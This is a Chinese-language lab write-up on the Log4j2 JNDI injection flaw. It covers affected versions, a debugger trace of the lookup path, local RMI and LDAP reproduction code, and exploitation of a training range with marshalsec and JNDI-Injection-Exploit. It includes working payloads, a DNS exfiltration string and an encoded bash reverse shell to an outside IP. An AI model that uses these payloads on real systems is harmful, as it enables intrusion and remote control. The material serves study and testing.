🌸 漏洞原理
在某一个Java程序中,将浏览器的类型记录到了日志中:
String userAgent = request.getHeader("User-Agent");
logger.info(userAgent);
在网络安全中有一个准则:不信任用户输入的任何信息。在上述的代码示例中,User-Agent便是外界输入的信息,因此我们不应该信任他。因为是有可能存在恶意的代码内容的!
假如UA的被注入成下面的代码:
${jndi:ldap://x.x.x.x/exploit}
接下来,log4j2的处理流程如下:
-
- 发现字符串中存在
${}
,因此会把里面的内容单独进行处理 - 进一步解析里面的内容,发现是JNDI扩展内容
- 再次解析,发现了LDAP协议,服务器是
x.x.x.x
,要查找的代码是exploit
- 最终调用具体负责LDAP模块去请求对应的数据
- 发现字符串中存在
- 整个过程中,如果是请求普通的数据是没什么问题的,但是问题就出现在请求了Java对象!核心就是JNDI可以远程下载class文件来加载远程对象。
- 也就是之前学习到的JNDI注入,在lookup方法的时候,参数是可控的,导致请求了远程服务器上的恶意的对象。
🌸 影响版本
Apache Log4j 2.0-2.14.1
Apache Log4j 1.2和Log4j 1.2.x系列 不受影响
Apache Log4j 2.15.0以及以上版本已修复此漏洞
🌸 本地复现
🦄 RMI复现
在之前的JNDI学习的过程中,RMI和LDAP在后续的JDK版本中,针对JNDI注入均进行了相关的修复!所以需要进行相关参数的修改(如果使用已修复版本的JDK的话)
-
JDK5u45 JDK6u45 JDK7u21 JDK8u121
开始,java.rmi.server.useCodebaseOnly
默认值改为true
JDK6u132 JDK7u122 JDK8u113
开始,com.sun.jndi.rmi.object.trustURLCodebase
为false
- 本地复现JDK版本为:JDK 1.8.0_141
pom.xml文件依赖如下:
<dependencies><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency>
</dependencies>
package org.y4y17;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIServer {public static void main(String[] args) throws RemoteException, NamingException {Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("Calc", "Calc", "http://localhost:8088/");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.rebind("iRemote",referenceWrapper);}
}
RMIServer相关代码其实是搭建在恶意服务器上的!这里还是通过Reference进行绑定!
package org.y4y17;import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class Log4j2Main {public static void main(String[] args) {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");Logger logger = LogManager.getLogger();logger.error("${jndi:rmi://localhost:1099/iRemote}");}
}
Log4j2测试代码如上,在Logger.error方法中传递相关的参数!触发JNDI注入。恶意的类就是一个普通的弹出计算器的操作:
简单的进行一下调试,断点就下在logger.error()方法中!通过分析调试栈信息,最终断在:
可以看到variableName
变量的参数值就是我们传递的payload,去掉了${}
,之后调用了interpolator.lookup方法。继续跟进到这个lookup方法!
之后继续往下走,var行参的值并不是空的,所以if肯定是进不去的;接下来就是从var变量中获取PREFIX_SEPARATOR
的索引。
public static final char PREFIX_SEPARATOR = ':';
这是一个冒号,我们payload里面也是存在的,所以if条件也就成立,成功进入到if条件里面:
最终获取到的lookup
实际上是JndiLookup
,并不是null
,所以继续进入下面的if条件,然后调用了JndiLookup.lookup(event,name);
接下来就是获取到jndiName
,然后进行了转化,jndiName的值就是rmi://localhost:1099/iRemote,之后便调用了jndiManager的lookup方法。
继续跟进到这个方法中:
public <T> T lookup(final String name) throws NamingException {return (T) this.context.lookup(name);
}
此时的this.context
的值就是InitailContext
,至此也就回到了JNDI + RMI的利用链上!
后续的分析也就不再跟进了,就是原生的RMI利用方式!
🦄 LDAP复现
LDAP服务搭建的话,可以采用之前的JNDI注入篇中的搭建方式,还可以采用其他的方式,这里换工具进行测试:
工具地址:GitCode - 全球开发者的开源社区,开源代码托管平台
下载之后需要进行编译:mvn clean package -DskipTests
编译完成之后,项目会在target
文件夹下面生成!
首先使用该工具,起一个LDAP服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8088/#Calc" 1234
其中http://localhost:8088/
是codeBase_url
,后面的Calc
是恶意类名,接下来的1234
是LDAP服务的端口号!
package org.y4y17;import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class Log4j2Main {public static void main(String[] args) {// RMI :
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
// Logger logger = LogManager.getLogger();
// logger.error("${jndi:rmi://localhost:1099/iRemote}");// LDAP:Logger logger = LogManager.getLogger();logger.error("${jndi:ldap://localhost:1234/iRemote}");}
}
在执行Log4j2Main
代码的时候,需要在恶意类的目录下面开启http服务! 这里同样还是可以成功的弹出计算器的!
🌸 靶机环境复现
🦄 工具一
这里使用的是封神台 - 掌控安全在线攻防演练靶场,一个专为网络安全从业人员设计的白帽黑客渗透测试演练平台。直接起了一个Log4j2的漏洞环境:
利用CEYE - Monitor service for security testing平台进行初步的测试:
只有一个登录页面,获取就是登录框存在JNDI注入:
发现确实存在JNDI注入。接下来尝试数据外带:
${jndi:ldap://${sys:java.version}.xxxxxx.ceye.io}
发现java的版本是1.8.111。接下来尝试编写恶意类,进行反弹shell。
写反弹shell,然后编译成class文件:Runtime.exec Payload Generater | AresX's Blog
import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;
public class Evil {public Evil() throws IOException {Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjIuMTUyLjIwOS4yMjkvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");}
}
编译生成class文件之后,之后上传到VPS上!先利用工具开启一个LDAP/RMI服务(这里生成的是RMI的服务-版本是满足的!):
codebase_url:vps的地址
、classname:Evil
、然后 使用1234端口作为RMI服务的端口
接着在VPS的恶意类文件目录下面开启一个http服务!端口是7000端口和上面的codebase_url
地址中的端口地址保持一致!
本地使用nc命令进行监听:
发送数据包,之后nc成功收到会话:
同样适用LDAP协议也是可以的!这里只贴图了,所有的东西都保持不变,只是将RMI服务换成了LDAP服务而已:
开启LDAP服务:
开启http服务:
payload换成ldap协议:
🦄 工具二
还有一个工具,更加方便一点,就是GitCode - 全球开发者的开源社区,开源代码托管平台
,该工具同样也是需要进行编译的。
该工具不需要我们自己变成恶意类代码,然后上传到VPS,他可以直接输入对应的命令。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "恶意攻击命令(base64后的)" -A "攻击者的IP地址"
启动之后,在vps上面进行监听!
还是利用给出的payload进行利用即可!